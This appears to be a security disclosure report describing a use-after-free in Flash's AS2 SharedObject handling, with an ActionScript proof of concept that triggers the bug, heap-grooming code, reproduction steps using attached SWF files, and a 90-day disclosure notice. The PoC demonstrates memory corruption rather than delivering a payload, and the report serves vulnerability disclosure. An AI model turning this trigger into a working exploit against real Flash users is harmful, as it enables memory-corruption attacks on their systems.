In certain cases where a native AS2 class sets an internal atom to a Number or Int, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting Array.length, this applies to some other variables in other classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"};
s.data.length = o;
flush();
var a = [];
a.push.call(s.data, "test");
trace(s.data.length);
s = 1;

for(var i = 0; i < 100; i++){
	var b = new flash.display.BitmapData(100, 1000, true, 1000);
	}
setInterval(c, 1000);
function c(){	
	trace("here");
	ASnative(252, 1).call(o); //Array push
	//delete o.myprop;
}

A fla, an AS file and two swfs are attached. setnum.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and setnum.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

setnum.fla 4.9 KB Download

loadswf.as 1.9 KB Download

setnum.swf 946 bytes Download

loadswf.swf 1.5 KB Download